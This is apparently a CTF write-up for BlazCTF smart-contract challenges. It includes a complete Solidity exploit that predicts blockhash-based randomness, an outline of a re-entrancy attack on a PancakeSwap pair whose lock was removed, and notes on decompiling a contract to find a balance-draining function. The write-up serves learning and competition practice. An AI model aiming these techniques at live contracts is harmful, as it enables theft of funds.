BlazCTF writeup
blazCTF writeup
common usage
1
2
forge create {contract name} --rpc-url {} --private-key {} --contracts {local path} --constructor-args {}
cast send --rpc-url {} --private-key {} "{fuction signature}" {arg}
hello world
etherscan
rock-paper-scissor
Hand is predictable because blockhash is an unsafe source of randomness. Since Solver.predictRandomShape()
and Challenge.randomShape()
are in the same block, the exploit contract could be like:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "./Challenge.sol";
contract Solver {
Challenge public challenge;
constructor(address challengeAddress) {
challenge = Challenge(challengeAddress);
}
function solve() external returns (bool) {
// Predict the randomShape value
RockPaperScissors.Hand predictedHand = predictRandomShape();
// Determine the hand that defeats the predicted hand
RockPaperScissors.Hand handToWin = determineWinningHand(predictedHand);
// Call tryToBeatMe with the predicted hand to set defeated to true
challenge.rps().tryToBeatMe(handToWin);
return challenge.isSolved();
}
function predictRandomShape() internal view returns (RockPaperScissors.Hand) {
// Reproduce the same random value as in randomShape function
return RockPaperScissors.Hand(uint256(keccak256(abi.encodePacked(address(this), blockhash(block.number - 1)))) % 3);
}
function determineWinningHand(RockPaperScissors.Hand hand) internal pure returns (RockPaperScissors.Hand) {
// Determine the hand that defeats the predicted hand
if (hand == RockPaperScissors.Hand.Rock) {
return RockPaperScissors.Hand.Paper;
} else if (hand == RockPaperScissors.Hand.Paper) {
return RockPaperScissors.Hand.Scissors;
} else {
return RockPaperScissors.Hand.Rock;
}
}
}
Easy-NFT
Our goal is to make the PLAYER be the owner of the first 20 ET. mint
can do that (even the tokenId doesn’t exist or already has owner), and mint
requires msg.owner be the PLAYER itself so I just mint 20 times in CLI.
lockless-swap
It’s noticable (from the comment) that some kind of lock protection is removed in LocklessPancakePair.swap()
. We can find the original PancakePair contract in https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/PancakePair.sol
, and find out modifier lock()
` was changed and made the swap vulnerable to re-entrancy attack.
To achieve this attack, we need to write a IPancakeCallee
contract (as the 3rd parameter of swap) and call swap() again in its pancakeCall
function.
Jambo
最后唯一成功的方案:部署到sepolia后使用https://library.dedaub.com/decompile?md5=72c082af175604345ff855b76f19ec62
反编译
0x2f484947函数可以转出所有的balance到msg.sender,根据参数类型看应该是answer函数。
start只能由初始化者执行?无法由调用者再次执行start?